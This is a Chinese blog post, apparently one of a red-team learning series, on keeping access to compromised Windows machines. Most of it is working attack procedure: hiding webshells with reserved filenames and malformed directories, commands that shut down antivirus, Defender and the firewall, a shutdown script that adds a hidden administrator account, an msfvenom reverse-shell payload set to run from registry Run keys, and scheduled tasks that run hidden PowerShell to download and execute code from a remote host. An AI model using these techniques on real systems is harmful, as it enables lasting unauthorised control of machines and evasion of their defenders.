热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

小白白红队初成长(5)win权限维持

文章目录1、前言1.0、闲谈1.1、攻击思路1.2、得分情况1.3、在哪里做权限维持2、windows权限维持2.0、以下姿势不仅asp可以使用,php与jsp也可以


文章目录

  • 1、前言
      • 1.0、闲谈
      • 1.1、攻击思路
      • 1.2、得分情况
      • 1.3、在哪里做权限维持
  • 2、windows权限维持
      • 2.0、`以下姿势不仅asp可以使用,php与jsp也可以使用。`
      • 2.1、“真正”隐藏文件
      • 2.2、系统文件夹图标
      • 2.3、畸形目录
      • 2.4、系统保留文件名
      • 2.5、组合使用
      • 2.6、驱动级文件隐藏
  • 3、关闭杀软
  • 4、组策略
  • 5、注册表(重要)(注意面纱)
  • 6、计划任务
  • 7、内存马


1、前言


1.0、闲谈

这一章节之前,建议大家学会写poc,利用poc批量拿洞等等。

接着说说国家级虎王的情况。


国家级虎王,红队攻击时间一般为30天,目标一般总计会有60个目标。第一批一般给30个目标,之后每一周可以将一些未拿下的目标与其他队伍切换。一队为3个人(一线),20年的标准,提供每个人提供3个机器,每个机器3个IP(一般非一个C段),原则上不允许使用除了这9个之外的IP进行攻击。

先捏软柿子,一般目标安全等级(互联网>>金融>>政企、运营商)当然有意外的情况,一些敏感的政企在互联网上基本没有暴露面(如XX导弹中心),这些服务一般全在内网,大家的目标之中假设有这些目标直接放弃就好了,当然APT的话另说,毕竟APT有着大量的时间去研究,而正常的虎王是很注重效率一说。

1.1、攻击思路

在整个过程之中,思路是最重要的;即使是国际级的红队人员也是有很多知识是不懂现学的。

建议在攻击的时候,画一个思维导图,这样就可以很清晰的每一步自己在干什么,下步要干什么。

信息收集(一线与二线都会贯穿整个周期),假设二线的人员发现一个突破点也会交给一线。然后二线继续做信息收集找更多的突破点。突破点多数在DMZ区域。

DMZ(外网)机器一定会做权限维持,之后的思路就是跨段,不要在DMZ区域晃了(哪怕很容易就能拿下第二台DMZ区域的机器),优先找可以跨段的机器(OA、SSO、运维)。

  • 如何寻找可以跨段的机器?

    通过经验判断 oa这种大概率都是跨区域的;堡垒机一般都是跨段的,如何寻找堡垒机?多个终端连接的大概率堡垒机(拿下的多台机器通过netstart查看网络连接,比如都与A这台机器有链接,那么A机器就大概率是堡垒机)。拿下堡垒机的思路:~历史漏洞~已经拿下机器浏览器中有概率保存密码

拿下DMZ区域可以跨段的机器之后,开始内网穿透进入内网,在内网可以进行小范围横向,然后继续横向跨段、横向跨段拿下办公网的机器或核心网机器。

  • 横向用到的一些SMB扫描工具如fscan,

  • 提权一般都是直接使用CS自带/增加的一些提取模块,

  • 域渗透常用手段:

    PTH、黄金票据、一些漏洞如cve-2020-1472(置空域管理员的一个洞)。


1.2、得分情况

常规,

一个webshell、一个数据库、主机权限都是50分主机最高权限100分,数据库资料较多的话可以翻倍。

跨段,

但是跨段,比如从DMZ到内网区域可以给1000分。DMZ与内网段一般存在隔离的情况(逻辑隔离与硬件隔离),比如突破一个隔离的网段,一般可以拿3000~5000分。

靶标,

除此之外,一般的攻防演练也存在靶标(一般2~3个)的情况,一般一个靶标1W分。所以在攻防演练的时候,一般很少去可以提权,意义不大,重点是跨段与靶标。在之前的演练之中,某一个队伍拿到靶标之后,这个厂商就出局了,即别的队伍在拿到靶标也没用了,当然今年(21)靶标一直存在。

1.3、在哪里做权限维持

在红队行动中在网络中获得最初的立足点是一项耗时的任务。因此,持久性是红队成功运作的关键,这将使团队能够专注于目标,而不会失去与指挥和控制服务器的通信。

小结三种情况,


  • DMZ的打点机器、

  • 关键机器(可以跨段的机器)

  • 存在大量数据的机器

    (如存在很多浏览器记录、通讯录等等可以对后续打点、横向有帮助的机器)


2、windows权限维持

简述:后门(webshell、粘贴键、放大镜、主策略等等)+ 隐藏

权限维持的前提是已经获得机器的权限(可以不是最高权限,具体看需求)

在横向的时候,一些工具往往需要大家进行二开来躲避杀软/流量分析。比如fscan,对于这种工具,一般来说只要修改流量上的特征即可,加一些乱码或者其他的绕过特征检测即可。

2.0、以下姿势不仅asp可以使用,php与jsp也可以使用。


2.1、“真正”隐藏文件

命令如: attrib +s +a +h +r c:\test

想要取消的话,直接命令行执行“ attrib -s -a -h -r c:\test ”即可,


使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。新建文件夹T,T内新建A与B文件夹,我们使用命令行把A文件夹隐藏,A文件夹内含有a.txt ;B文件夹含有b.txt文件。这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件夹都看不见,

在这里插入图片描述

但是仍然可以通过命令行进入,

在这里插入图片描述
值得说的是,通过此方式隐藏的文件,使用命令行“ dir ”也无法看到a文件夹,
在这里插入图片描述


2.2、系统文件夹图标

给B文件夹重新命名为:“我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}”

这样的话,不使用命令行是比较难发现的,且这个不仅仅是替换了图标,双击b文件夹,效果与真正的“我的电脑”是一致的,

在这里插入图片描述

想要看到b文件夹内的真正文件,那就使用命令行把。

在这里插入图片描述

这里想要恢复的话,建议还是使用命令行改(直接修改文件夹是无法去掉“ .{20D04FE0-3AEA-1069-A2D8-08002B30309D} ”的)。使用命令行“ rename "我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}" b ”这个“ 我的电脑xxx ”名字太长的话,可以使用tab键补齐,正常恢复,

在这里插入图片描述

除了命令行,我们也可以用WinRAR找到这个文件夹,然后重命名文件夹把后缀的“.{20D04FE0-3AEA-1069-A2D8-08002B30309D}”删除。然后我们再回到文件夹的存放地方,会发现已经变回原来的普通文件夹了。

附带一些常用文件代号:

我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}回收站.{645ff040-5081-101b-9f08-00aa002f954e}拔号网络.{992CFFA0-F557-101A-88EC-00DD010CCC48}打印机.{2227a280-3aea-1069-a2de-08002b30309d}控制面板.{21ec2020-3aea-1069-a2dd-08002b30309d}网上邻居.{208D2C60-3AEA-1069-A2D7-08002B30309D}

2.3、畸形目录

原理是:

只需要在目录名后面加两个点(也可以为多个点)就行了,用户图形界面无法访问。


在T文件夹新建” c.txt ”内容随意,使用命令行“ md c..\ ”创建“ C.. ”文件夹,这个最后的“\”是不能少的,创建之后图形化无法查看、删除该文件夹。

在这里插入图片描述

该文件夹,杀软也是无法粉碎的,
在这里插入图片描述
然后将创建“ c.txt ”文件复制进去,
在这里插入图片描述

使用URL访问:/c…/c.asp (两个点)

在这里插入图片描述
删除目录: rd /s /q c…\


2.4、系统保留文件名

利用系统保留文件名创建无法删除的webshell,Windows 下不能够以下面这些字样来命名文件/文件夹,包括:aux,com1,com2,prn,con和nul等,但是通过cmd下是可以创建此类文件夹的,使用copy命令即可实现:

在这里插入图片描述
使用命令“ copt c.txt \\.\C:\Users\xx\Desktop\T\com1.asp ”

就可以创建名称为“ com1.asp ”的文件名称,

在这里插入图片描述
该文件无法通过图形化正常打开,删除。但是在IIS中又是可以成功解析的。
在这里插入图片描述
正常可以这么读取 “ type \.\C:\Users\xx\Desktop\T\com1.asp”
在这里插入图片描述
删除的话,命令“ del \\.\C:\Users\xx\Desktop\T\com1.asp ”,

读取与删除不加“ \.\ ”是无法读取的。


2.5、组合使用

以上集中情况可以组合使用,

先整一个“ 系统文件夹图标 ”下创建一个畸形目录,畸形目录下整一个无法删除的文件名。

这一套下来,普通的防守方是很难搞定的。


2.6、驱动级文件隐藏

驱动隐藏最典型的现象就是系统盘中存在以下文件:

c:\WINDOWS\xlkfs.datc:\WINDOWS\xlkfs.dllc:\WINDOWS\xlkfs.inic:\WINDOWS\system32\drivers\xlkfs.sys

驱动隐藏我们可以用过一些软件来实现,软件名字叫:Easy File Locker

下载链接: http://www.xoslab.com/efl.html

一般做黑连的小朋友都会这样设置:只勾选可读,其他的一律拒绝。那么,会有这样的效果,该文件不会显示,不能通过列目录列出来,也不能删除,除非你知道完整路径,你才可以读取文件内容。并且该软件还可以设置密码,启动、修改设置、卸载及重复安装的时候都需要密码,更蛋疼的是,主界面、卸载程序等都可以删除,只留下核心的驱动文件就行了。

如何清除(下边是cmd命令)

1、查询服务状态: sc qc xlkfs2、停止服务: net stop xlkfs 服务停止以后,经驱动级隐藏的文件即可显现3、删除服务: sc delete xlkfs4、删除系统目录下面的文件,重启系统,确认服务已经被清理了。

3、关闭杀软

拿到目标主机的shell后第一件事就是关闭掉目标主机的杀毒软件,可以通过MSF命令” run killav ”,当然很多情况下,此操作无法关闭到杀软。我们使用使用一些开源的程序帮忙,如: https://github.com/Yaxser/Backstab 使用该软件干掉杀软之后要注意,defend存在一个自我保护机制(即使已经被干掉),假设当前机器没有杀软的情况下,隔几分钟自己就起来了。所以做一些危险操作的时候,干掉当前设备的所以杀软之后要计算好时间。

还有一些常用CMD命令(需要admin及其以上的权限):

关闭防火墙命令:

netsh advfirewall set allprofiles state off

命令关闭Denfnder:

Net stop windefend

命令关闭/打开DEP(数据执行保护):

bcdedit.exe /set {current} nx Alwaysoff
bcdedit/set {current} nx AlwaysOn

参考连接: http://t.zoukankan.com/liqik-p-13046760.html

其他的补充:

命令关闭杀毒软件: 在meterpreter下执行run post/windows/manage/killavnet stop sharedaccess ----关系统自带防火墙c:\pskill.exe ravmon ntsd –c -q -p PID ----杀掉瑞星软件c:\pskill.exe pfw ----关天网防火墙net stop "Symantec AntiVirus" ----关诺顿企业版net stop KAVStart c:\pskill kavstart / KWatch ----关闭金山杀毒net stop fmdaemon c:\pskill.exe syncserver 关闭webguard主页防修改软件的方法把时间调到2038之后.卡巴出现错误.自动关闭将时间调到2099年,发现blackice服务停止关于诺顿企业版“文件自动防护“的关闭:1)关闭服务:net stop "Symantec AntiVirus"2)关闭进程:Rtvscan,CCAPP,vptray,defwatch

4、组策略

相对来说,组策略后门更加隐蔽。往册表中添加相应键值实现随系统启动而运行是木马常用的伎俩,也为大家所熟知。其实,在组策略中也可以实现该功能,不仅如此它还可以实现在系统关机时进行某些操作。这就是通过最策略的“脚本(启动/关机)”项来说实现。具体位置在 “计算机配置→Windows设置” 项下。因为其极具隐蔽性,因此常常被攻击者利用来做服务器后门。  

攻击者获得了服务器的控制权就可以通过这个后门实施对对主机的长期控制。它可以通过这个后门运行某些程序或者脚本,最简单的比如创建一个管理员用户,他可以这样做:新建一个文件“ a.bat ”将下边的内容复制到文件中,echo off net user hack$ test168 /add net localgroup administrators hack$ /add exit在“运行”对话框中输入gpedit.msc,定位到“计算机配置一>Windows设置一>脚本(启动/关机)”,双击右边窗口的“关机”,在其中添加add.bat。

当系统关机时创建hack$用户。对于一般的用户是根本不知道在系统中有一个隐藏用户,就是他看见并且删除了该帐户,当系统关机时又会创建该帐户。所以说,如果用户不知道组策略中的这个地方那他一定会感到莫名其妙。其实,对于组策略中的这个“后门”还有很多利用法,攻击者通过它来运行脚本或者程序,嗅探管理员密码等等。当他们获取了管理员的密码后,就不用在系统中创建帐户了,直接利用管理员帐户远程登录系统。因此它也是“双刃剑”,希望大家重视这个地方。当你为服务器被攻击而莫名其妙时,说不定攻击者就是通过它实现的。当然缺点也很明显,就是这个目录一般都会被杀毒工具、或者蓝队进行针对性的排查。

参考连接:https://buaq.net/go-27418.html


5、注册表(重要)(注意面纱)

简单的说,通过修改注册表的值达到注册表的后门。

其目的和组策略一致,即用户登录系统的时候自动执行攻击者的后门如(msf的木马)。

区别是组策略是按照用户组划分 注册表是事件触发的。

使用命令生成MSF木马:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.108 LPORT=6666 -f exe -o pentestlab.exeMSF开启监听,

在这里插入图片描述
复制木马到吧唧C盘用户目录下,在八级执行下边命令(4条中得随机一条即可):

该注册表操作语句会在目标主机的启动项里增加一个命名。

当目标主机登录系统时,后门就会运行。这里注意得是


  • 锁屏登陆 不属于登陆

  • 假设4条都执行了,正常来说会返回4条会话。

  • 部分电脑没有后两个的注册表键值,建议实战选择前两个。

    (要选择有的键值,不同windows版本键值不是完全一样的)

  • 以这种方式得后门,重启机器后无论哪个是哪个用户登录了系统,传回msf的权限都是设置上述注册列表的用户权限。


reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"

在这里插入图片描述
下边的4条命令需要管理员权限才可以添加,

与上边不同的是,上边的几条语句是添加在当前的用户下,几乎任何人都可以看到,

下边的只有管理员权限才可以操作,是添加到系统层面,非管理员权限是无法查看的。

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"

  • Meterpreter –Run键

另外还存在两个注册表位置,这些位置可以放置一些DLL文件或者exe来实现持久性。在用户登录系统的时候被执行,注意的是下边两条命令需要管理员权限,还有计算机不一定存在这两个注册表。

  • 其他

当已经存在一个MSF会话的时候,我们可以直接执行语句:run persistence -U -P windows/meterpreter/reverse_tcp -i 5 -p 6669 -r 192.168.1.108会生成一个VBS的脚本,然后自动上传到目标机器上,最后创建一个注册列表当用户登录的时候自动运行该后门。(注意要开启一个新的对应监听)

在这里插入图片描述


6、计划任务


  • 计划任务操作需要管理员以上的权限。

  • 计划任务中最主要的是不要写错“ 时间点 ”与“ 触发条件 ”,

一般来说,计划任务不被发现的两个点:

~触发条件~隐藏的稍微深一点

计划任务也可以通过图形化界面创建,计划任务默认是放到比较靠前的,

实战图像化的话,可以放在子集目录,

在这里插入图片描述


  • 比较常用的几个计划任务:

#(X64) - On System Start system用户登录的时候触发
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System#(X64) - On User Idle (30mins) 每30分钟触发
schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30#(X86) - On User Login 用户登录的时候触发
schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System#(X86) - On System Start 当system启用的时候触发
schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System#(X86) - On User Idle (30mins) 每30分钟触发一次
schtasks /create /tn PentestLab /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30

补充

这个c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe是要执行程序的绝对路径,实战中可以直接换位面纱吗。后边的是参数,这个是可选条件:-WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'

7、内存马

Java为主,实战当中都是提前准备好,不会现场写。

日后在补充。


推荐阅读
  • 利用ipv6技术,废旧笔记本变成server
    如果你家的路由器已经get到了ipv6地址,并且你家的电脑也获取了有效的ipv6地址,在广域网的设备可以访问到。那恭喜你,再配合我这个dd ... [详细]
  • 安全3AAuthentication:认证Authorzation:授权Accouting|Audition:审计用户管理用户:UID:0,不一定是root,root的uid非0时 ... [详细]
  • ARToolKitunity
    ARToolKit为开源的AR库,相对于高通和easyAr有几点特点:1)开源2)识别项目可以动态添加(详细在后)3)识别文件可以本地生成4)目前只能识别图片(目前为.jpg格式) ... [详细]
  • 步骤一:明确主打的核心目标用户群(对应产品侧的定位)这个核心目标用户群体是该产品成功挤进市场的切入点,甚至是撬动市场的支点和撬杠。市面上几乎很少有产品是专门给一个群体用而对其他群体 ... [详细]
  • UDP协议开发
    UDP是用户数据报协议(UserDatagramProtocol,UDP)的简称,其主要作用是将网络数据流量压缩成数据报形式,提供面向事务的简单信息传送服务。与TCP协议不同,UD ... [详细]
  • AsyncDisplayKit2.0教程(下)
    AsyncDisplayKit2.0Tutorial:AutomaticLayout原文:AsyncDisplayKit2.0Tutorial:Automatic ... [详细]
  • webpack 配置IP 和端口号
    最近在用webpack搭建本地服务器的时候,因为不想总是用localhost来跑,所以对webpack.config.js进行了配置,如下devServer:{publicPath ... [详细]
  • 第38天:Python decimal 模块
    by程序员野客在我们开发工作中浮点类型的使用还是比较普遍的,对于一些涉及资金金额的计算更是不能有丝毫误差,Python的decimal模块为浮点型精确计算提供了支持。1简介deci ... [详细]
  • CentOS7.2详细安装步骤(二)
    7)语言设置(可以在上一个主界面进行设置,这里不用再次设置)8)SECURITY设置(安全设置)选择default(默认的)策略就可以,通过进行选择,单击完成即可Default#默 ... [详细]
  • 导读:很多朋友问到关于入门学什么php框架简单的相关问题,本文编程笔记就来为大家做个详细解答,供大家参考,希望对大家有所帮助!一起来看看吧!本文目录一览: ... [详细]
  • Redis 外部访问设置
    1、错误原因Redis搭建好后一般都是使用编程语言进行连接调用,默认Redis的设置是不允许外界访问的,连接Redis只能通过本地(127.0.0.1)来连接,而不能使用网络IP( ... [详细]
  • 缓冲区溢出实例(一)–Windows
    一、基本概念缓冲区溢出:当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被填满从而覆盖了相邻内存区域的数据。可以修改内存数据,造成进程劫持,执行恶意代码,获 ... [详细]
  • 超赞!GitHub上百万下载量Java面试手册!颠覆你的认知
    金三面试不顺心,马上银四面试在即,自己复盘总觉得Java知识点很凌乱?没有合适的方法学习!今天分享这份GitHub上百万下载量Ja ... [详细]
  • 两种方式实现Flink异步IO查询Mysql
    如官网所描述的Flink支持两种方式实现异步IO查询外部系统http ... [详细]
  • socket8 [命名管道]
    ::命名管道不但能实现同一台机器上两个进程通信,还能在网络中不同机器上的两个进程之间的通信机制。与邮槽不同,命名管道是采用基于连接并且可靠的传输方式,所以命名管道传输数据只能一对一 ... [详细]
author-avatar
小女人快乐方子
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有